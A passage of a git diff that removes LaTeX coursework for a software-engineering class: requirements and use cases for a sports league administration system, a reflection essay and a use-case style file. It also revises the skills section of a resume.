error if the team is too small for the sport. \\ - REQ-302: The system shall validate the team name and return an error if the team name is invalid. What constitutes an invalid team name is TBD. \\ - REQ-303: The system shall create a team with the supplied roster and name and add it to the database. - -\section{Roster Editing} - - \subsection{Description and Priority} - The system shall allow coaches and administrators to edit rosters. - \subsection{Stimulus/Response Sequences} - A user must be signed in as a coach or administrator. The user submits the change that they want to make to the roster. The system responds by changing the roster as requested. - \subsection{Functional Requirements} - REQ-401: The system shall return an error if the user does not have permission to edit that team's roster. \\ - REQ-402: The system shall return an error if the user tries to edit a team that does not exist. \\ - REQ-403: The system shall change the roster as requested if the user has permission to edit that team's roster. -\section{Generate Statistics} - - \subsection{Description and Priority} - The system shall allow administrators to generate statistics. - \subsection{Stimulus/Response Sequences} - A user must be signed in as an administrator. The user submits the type of statistics they want to generate. The system will generate the statistics asked. - \subsection{Functional Requirements} - REQ-501: The system shall return an error if the user tries to generate statistics for a sport, league or player that does not exist. \\ - REQ-502: The system shall generate the statistics and display them to the user when generated. - -\section{Assign Officials} - \subsection{Description and Priority} - The system shall allow administrators to assign officials to leagues and games. - \subsection{Stimulus/Response Sequences} - A user must be signed in as an administrator. The user submits the league and game they want to assign officials to. The system will assign the officials to the game based on the schedule given by the officials. - \subsection{Functional Requirements} - REQ-601: The system shall return an error if the user tries to assign officials to a league or game that does not exist. \\ - REQ-602: The system shall return an error if no officials can be found for a game. \\ - REQ-603: The system shall assign the officials to the game and publish the schedule so the officals can see what games they need to officiate. - -\section{Submit Scores} - \subsection{Description and Priority} - The system shall allow officials to submit scores for games they officiate. - \subsection{Stimulus/Response Sequences} - A user must be signed in as an official. The user submits the score for the game they are officiating. - \subsection{Functional Requirements} - REQ-701: The system shall return an error if the user tries to submit a score for a game that does not exist. \\ - REQ-702: The system shall return an error if the user tries to submit a score for a game that is not officiating. \\ - REQ-703: The system shall submit the score to the database and publish it to an external site after the submission is complete. \\ - REQ-704: The system shall allow administrators to change scores if they contradict the official's reported scores. - - - \section{Generate Bracket} - \subsection{Description and Priority} - The system shall allow administrators to generate brackets for leagues. - \subsection{Stimulus/Response Sequences} - A user must be signed in as an administrator. The user submits the league they want to generate a bracket for. The system will generate the bracket along with the dates for the games. \\ - This requirement is built off of requirement 2. - \subsection{Functional Requirements} - REQ-801: The system shall return an error if the user tries to generate a bracket for a league that does not exist. \\ - REQ-802: The system shall generate the bracket and proceed to generate the schedule according to Requirement 2. \\ - REQ-803: The system shall return an error if the system cannot generate the bracket requested. \\ - - \section{View Schedules} - \subsection{Description and Priority} - The system shall allow users to view schedules for leagues. - \subsection{Stimulus/Response Sequences} - Any user can access the schedule for a league. They do not have to be signed in to view the public schedules. Officals can view the schedule for a league they are officiating and administrators can view any schedule for any league. - \subsection{Functional Requirements} - REQ-901: The system shall return an error if the user tries to view a schedule for a league that does not exist. \\ - REQ-902: The system shall return an error if an unauthenticated user tries to view a schedule for a league that is not public. \\ - REQ-903: The system shall return an error if an authenticated user tries to view a schedule for a league that they do not have permission to access. \\ - REQ-904: The system shall return the schedule for the league requested. - - -\section{Appendix A: Glossary} -%see https://en.wikibooks.org/wiki/LaTeX/Glossary -SLAM: The Sports League Administration Manager -Staff: The people who run the league, working for the Municipal Parks and Recreation Department. -Administrators: People with administrative privileges. -Officals: People who officiate games. -Coaches: People who create teams. -Athletes: People who play in the leagues. -The Public: Everyone else. - - -\section{Appendix B: To Be Determined List} -TODO: specifications, testing, the rest of the document -\end{document} \ No newline at end of file diff --git a/csci5801/a1_usecase.tex b/csci5801/a1_usecase.tex deleted file mode 100644 index 1856efb..0000000 --- a/csci5801/a1_usecase.tex +++ /dev/null @@ -1,474 +0,0 @@ -%% Use Cases Template File -%% Created by Tom Desair (http://www.tomdesair.com) -%% Downloadable at: http://www.tomdesair.com/downloads/use-case-latex-template.zip -%% Date Modified: 03/04/2012 -% -% This work may be distributed and/or modified under the -% conditions of the LaTeX Project Public License, either version 1.3 -% of this license or (at your option) any later version. -% The latest version of this license is in -% http://www.latex-project.org/lppl.txt -% and version 1.3 or later is part of all distributions of LaTeX -% version 2005/12/01 or later. - -\documentclass[a4paper, 10pt, oneside, draft]{article} - -%include the usecases package -\usepackage{usecases} - -\begin{document} - -%Sometimes it is a good idea to put domain objects in \texttt{} -%The template and the descriptions are based on the book Applying UML and Patterns: -%An Introduction to Object-Oriented Analysis and Design and Iterative Development -%(3rd Edition) by Craig Larman. -\begin{usecase} - -\addtitle{Use Case 1}{Creating a League} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Administrator} - -\addfield{Trigger:}{An administrator wants to create a new league.} - -%Preconditions: What must be true on start and worth telling the reader? -\addfield{Preconditions:}{The user must be signed in as an administrator.} -%when multiple -%\additemizedfield{Preconditions:}{} - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The league will be created.} -%when multiple -%\additemizedfield{Preconditions:}{} - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The administrator creates a new league. - \item The league is created -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not an administrator: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[2.a] The league cannot be created: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} -} -\end{usecase} -\pagebreak -\begin{usecase} - -\addtitle{Use Case 2}{Creating a Team} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Coach} - -\addfield{Trigger:}{A coach wants to create a new team.} - -%Preconditions: What must be true on start and worth telling the reader? -\addfield{Preconditions:}{The user must be signed in as a coach.} -%when multiple -%\additemizedfield{Preconditions:}{} - -%Postconditions: What must be true on successful completion and worth telling the reader -% \addfield{Postconditions:}{The team will be created.} -%when multiple -\additemizedfield{Preconditions:}{\item The user must be signed in as a coach \item A league must already exist} - - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item[1] The coach creates a new team. - \item[2] The team is created -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not a coach: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[2.a] The team cannot be created: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.b] The league does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] The user returns to step 1 - \end{enumerate} -} - - -\end{usecase} - -\pagebreak - -\begin{usecase} - -\addtitle{Use Case 3}{Generating a Schedule} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Administrator} - -\addfield{Trigger:}{An administrator wants to generate a schedule.} - -%Preconditions: What must be true on start and worth telling the reader? -\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist} - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The schedule will be generated.} - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The administrator selects a league to generate a schedule for. - \item The administrator generates a schedule. - \item The schedule is generated. -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not an administrator: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[2.a] The league does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.a] The league does not have any teams: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.b] The schedule fails to be created: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} -} - -\end{usecase} - -\pagebreak - -\begin{usecase} - -\addtitle{Use Case 4}{Generating Statistics} - - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Administrator} - -\addfield{Trigger:}{An administrator wants to generate statistics.} - -%Preconditions: What must be true on start and worth telling the reader? -\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist} - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The statistics will be generated.} - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The administrator selects a league to generate statistics for. - \item The administrator generates statistics. - \item The statistics are generated. -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not an administrator: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[1.b] The league does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.a] The league does not have any teams: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.b] The statistics fail to be generated: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} -} - -\end{usecase} - -\pagebreak - -\begin{usecase} - -\addtitle{Use Case 5}{Assign Officials} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Administrator} - -\addfield{Trigger:}{An administrator wants to assign officials.} - -%Preconditions: What must be true on start and worth telling the reader? -\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist \item Officials must already exist for the league} - - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The officials will be assigned.} - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The administrator selects a league to assign officials to. - \item The administrator assigns officials. - \item The officials are assigned. -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not an administrator: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[2.a] The league does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.a] There are no eligible officials: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.b] An unknown error occurs: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} -} - -\end{usecase} - -\pagebreak - - -\begin{usecase} - -\addtitle{Use Case 6}{Generate Bracket} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Administrator} - -\addfield{Trigger:}{An administrator wants to generate a bracket.} - -%Preconditions: What must be true on start and worth telling the reader? -\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist} - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The bracket will be generated and a schedule will be created.} - - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The administrator selects a league to generate a bracket for. - \item The administrator generates a bracket. - \item The bracket is generated. - \item A schedule is created from the bracket, following Use Case 3. -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not an administrator: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[2.a] The league does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.a] The league does a cleanly divisible number of teams: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[3.b] The schedule fails to be created: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[4.b] A bracket is manually generated - \begin{enumerate} - \item[1.] The system follows all steps except step 5 - \item[2.] The schedule is created - \end{enumerate} -} -\end{usecase} - -\pagebreak - -\begin{usecase} - -\addtitle{Use Case 7}{Submit Scores} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{Official} - -\addfield{Trigger:}{An official wants to submit scores for a game they officiated.} - -%Preconditions: What must be true on start and worth telling the reader? -\additemizedfield{Preconditions:}{\item The user must be singed in as an official \item A league must already exist \item A schedule must already exist \item A game must already exist \item The user must have permission to submit scores for that game} - - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The scores will be submitted.} - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The official selects a game to submit scores for. - \item The official submits scores. - \item The scores are submitted. -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The user is not an official: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to login page - \end{enumerate} - \item[1.b] An administrator: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[2.a] The league does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[2.b] The schedule does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[2.c] The game does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[2.d] The user does not have permission to submit scores for that game: - \begin{enumerate} - \item[1.] System shows permission denied - \item[2.] User returns to step 1 - \end{enumerate} - -} -\end{usecase} - -\pagebreak - - -\begin{usecase} - -\addtitle{Use Case 8}{View Schedule} - -%Scope: the system under design -\addfield{Scope:}{System-wide} - -%Level: "user-goal" or "subfunction" -\addfield{Level:}{User-goal} - -%Primary Actor: Calls on the system to deliver its services. -\addfield{Primary Actor:}{End User} - -\addfield{Trigger:}{An end user wants to view a schedule.} - - -%Preconditions: What must be true on start and worth telling the reader? -\additemizedfield{Preconditions:}{ \item A schedule must already exist \item If the schedule is not public the user must be signed in} - -%Postconditions: What must be true on successful completion and worth telling the reader -\addfield{Postconditions:}{The schedule will be displayed.} - -%Main Success Scenario: A typical, unconditional happy path scenario of success. -\addscenario{Main Success Scenario:}{ - \item The user selects a league to view a schedule for. - \item The schedule is displayed. -} - -%Extensions: Alternate scenarios of success or failure. -\addscenario{Extensions:}{ - \item[1.a] The schedule is not public: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} - \item[2.a] The schedule does not exist: - \begin{enumerate} - \item[1.] System shows failure message - \item[2.] User returns to step 1 - \end{enumerate} -} -\end{usecase} - - - -\end{document} - diff --git a/csci5801/a4.tex b/csci5801/a4.tex deleted file mode 100644 index 3b26835..0000000 --- a/csci5801/a4.tex +++ /dev/null @@ -1,49 +0,0 @@ -\documentclass{article} -\pagenumbering{gobble} -\begin{document} -\section{Elicitation Session} - \subsection{What did you learn from the elicitation session? What parts worked well? What parts did not work well?} - The main thing to learn from the elicitation session should have been rather obvious: not everyone knows everything. Sometimes if you ask a question the customer simply does not know the answer. The main thing that did not work well was the very large number of groups potentially wasting time by having groups not show up. - \subsection{How might you prepare differently for a similar experience in the future, where you may only have one chance to meet and talk with the user(s)?} - The easiest way to prepare for the next session is to have even more questions beforehand and set them by priority. Our group had questions, but did not have them sorted by priority. Sorting them by priority would allow important questions to be answered first and less important questions to be answered later if at all. - \subsection{When is asking the same question twice bad/unhelpful? When is asking the same question twice good/helpful?} -The only time asking the same question is helpful is if you ask two completely different people, because then you do not waste time getting the same answer twice. Any other time would only waste valuable time that could better be used for different questions. - -\section{Individual Requirements} - \subsection{How well did capturing the requirements go?} - Capturing requirements was straightforward for the most part. Trying to balance between being too specific and too vague was the most difficult part. - \subsection{How did you approach user statements/requirements which were vague or ambiguous?} - The way I dealt with it was by attempting to make the requirement surrounding the vagary as general as possible. If the requirement needs to be tweaked to make it more specific, it can be done more easily than making something less specific. - \subsection{How did you approach user statements/requirements which were contradictory?} - This did not happen when writing my requirements. - \subsection{Did you follow a template? Did the template help or hurt your efforts? Why?} -The IEEE \LaTeX template made everything significantly easier to format, since dealing with Microsoft Word's and other WYSIWYG formatting has been ruled as illegal by the Geneva Conventions. The template also helped by suggesting what should be in each section, reducing time spent looking up something not talked about in class or potentially vague. - -\section{Team Requirements} - \subsection{Did you encounter any situations where you and your teammates disagreed on the definitions or process? What caused that ambiguity? What could you do next time to avoid it? If your team faced no disagreements, explain how you worked together to build the requirements to avoid them.} -The main problem with group work is schedules. The more people you have to get together, the less time that works for everyone. The way this was mitigated was either making meetings short or filling the member not present in after the others met. - -\section{Final Spec and Testing} - \subsection{What kinds of assumptions will be necessary to ensure that meeting the specification (verification) means that you have also met the requirements (validation)?} - The main assumption is that the external requirements (databases, etc.) are written in a way that the tests will still work. - \subsection{How did you translate the requirements to specification?} - The way to turn a requirement into a specification is to take the requirement and make it more technical. Requirements are meant more for the customer, so writing specifications are meant to be more technical. - \subsection{What was the most difficult aspect of writing your test cases?} - The main thing is knowing how many test cases to write. Writing too many will be time consuming on implementation while too few potentially adds places where bugs can sneak in. - \subsection{Did writing your test cases help you find issues in your requirements? If so, what did you find and how did test case writing help you find/fix it? If not, what kinds of work effort (man-hours/financial) is going to be necessary to implement your tests? Explain.} - Writing some test cases showed that some of our requirements were redundant. Reducing requirements will be easier to implement, since large and unwieldy requirements documents are more likely to breed failure. - \subsection{How brittle are your tests? What kinds of changes could break them (provide concrete examples)?} - The main thing that could break the tests would be any potential API changes that would happen to the external back end. The database is assumed to work one way and provide specific items, so if those cannot be obtained anymore some tests would need to be rewritten. - - -\section{Misc.} - \subsection{What were the most difficult parts of writing the SRS (including Assignments 1-3 in your thoughts)?} - The most difficult part is balancing what to write and what to not write. An excessive document is unwieldy and difficult to read, while a short one is likely missing vital information that could potentially cause the system to fail. - \subsection{What additional experience or training would be helpful for next time?} - The most likely experience needed would be a better way to write requirements and use cases from vague information. Thinking of requirements that may or may not be needed is a massive time sink. - \subsection{How sure are you that the specification you wrote meets the requirements? If you are confident that it does, what specifically gives you that confidence? If you are not confident, what would you do to fix that, and how do you know when to stop?} - I am somewhat confident our specifications meet our requirements. We added all of our requirements together and we all checked over our specifications, so multiple eyes saw the document. - \subsection{What are the greatest risks in your SRS? What are the likely things that will go wrong? What makes them risky?} - The greatest risk to this or any requirement is that the customer's needs change. If the customer's needs change, the requirements will need to be updated. Updated requirements once again eat into valuable time that could be spent implementing and optimizing the system. - -\end{document} \ No newline at end of file diff --git a/csci5801/img/diagram.png b/csci5801/img/diagram.png deleted file mode 100644 index 06ca502..0000000 Binary files a/csci5801/img/diagram.png and /dev/null differ diff --git a/csci5801/usecases.sty b/csci5801/usecases.sty deleted file mode 100644 index c31fd51..0000000 --- a/csci5801/usecases.sty +++ /dev/null @@ -1,64 +0,0 @@ -%% Use Cases Style File -%% Created by Tom Desair (http://www.tomdesair.com) -%% Downloadable at: http://www.tomdesair.com/downloads/use-case-latex-template.zip -%% Date Modified: 03/04/2012 -% -% This work may be distributed and/or modified under the -% conditions of the LaTeX Project Public License, either version 1.3 -% of this license or (at your option) any later version. -% The latest version of this license is in -% http://www.latex-project.org/lppl.txt -% and version 1.3 or later is part of all distributions of LaTeX -% version 2005/12/01 or later. - -%------------------------------------------------------------------------------- -% Required Packages -%------------------------------------------------------------------------------- -\usepackage{booktabs} -\usepackage{multirow} -\usepackage{longtable} - -%------------------------------------------------------------------------------- -% \addtitle command: add the title of the use case -%------------------------------------------------------------------------------- -\newcommand\addtitle[2]{\hline \\ [-1.5ex] \textbf{#1} &\textbf{#2}\\ [1ex] \hline \\ [-1.5ex]} -\newcommand\tabularhead{\begin{longtable}{lp{8.9cm}} -} - -%------------------------------------------------------------------------------- -% \addfield command: add a property of the use case -%------------------------------------------------------------------------------- -\newcommand\addfield[2]{\textit{#1} \\ [1ex] \hline \\ [-1.3ex] } - -%------------------------------------------------------------------------------- -% \addscenario command: add the main (or alternative) scenario -% of the use case -%------------------------------------------------------------------------------- -\newcommand\addscenario[2]{ -\multicolumn{2}{l}{\textit{#1}} \\ -\multicolumn{2}{l}{ -\begin{minipage}[t]{13.2cm} - \begin{enumerate} #2 \end{enumerate} - \vspace{1.3ex} -\end{minipage} -} \\ [1ex] \hline \\ [-1.5ex] } - -%------------------------------------------------------------------------------- -% \additemizedfield command: add a field with an item list -%------------------------------------------------------------------------------- -\newcommand\additemizedfield[2]{ - \begin{minipage}[t][][t]{3.5cm} - \textit{#1} - \vspace{1.3ex} - \end{minipage}% - & - \begin{minipage}[t][][t]{8.9cm} - \begin{itemize} #2 \end{itemize} - \vspace{1.5ex} - \end{minipage}\\ [1ex] \hline \\ [-1.5ex] } - -%------------------------------------------------------------------------------- -% Definition of the use case environment -%------------------------------------------------------------------------------- -\newenvironment{usecase}{\tabularhead} -{\end{longtable}} diff --git a/papers/resume.tex b/papers/resume.tex index 6137473..06f91ac 100644 --- a/papers/resume.tex +++ b/papers/resume.tex @@ -42,9 +42,7 @@ \urlstyle{same} -\raggedbottom -\raggedright -\setlength{\tabcolsep}{0in} +\raggedbottom\raggedright\setlength{\tabcolsep}{0in} % Sections formatting \titleformat{\section}{ @@ -114,9 +112,6 @@ \resumeSubheading {University of Minnesota}{Minneapolis, MN} {Bachelor of Computer Engineering, Minor in History}{Expected May 2022} - %\resumeSubSubheading{\textbf{Coursework}}{} - %\resumeSubItem - % {Computer Architecture and Machine Organization, Introduction to Operating Systems, Introduction to Artificial Intelligence, Internet Programming} \resumeSubHeadingListEnd %----------LEADERSHIP-------- @@ -181,13 +176,13 @@ %-----------PROGRAMMING SKILLS----------- \section{Technical Skills} \begin{itemize}[leftmargin=0.15in, label={}] - \small{\item{ - \textbf{Software}{: Microsoft Office, Adobe Photoshop, \LaTeX, Apache, Nginx} \\ - \textbf{Programming Languages}{: C/C++, Python, JavaScript, Kotlin, HTML/CSS, Elixir, Java, MATLAB} \\ - \textbf{Frameworks}{: Express, jQuery} \\ - \textbf{Development Environments}{: Linux, Windows, Android, MacOS} \\ - \textbf{Developer Tools}{: Git, Docker, Visual Studio Code, Android Studio} \\ - }} + \small{ + \item{ + \textbf{Programming Languages}{: JavaScript/TypeScript, C/C++, Python} \\ + \textbf{Libraries}{: jQuery, Express} + \textbf{CI/CD}{: Drone CI, GitLab} \\ + \textbf{Containerization}{: Docker, Docker Compose} + }} \end{itemize} -- cgit v1.2.3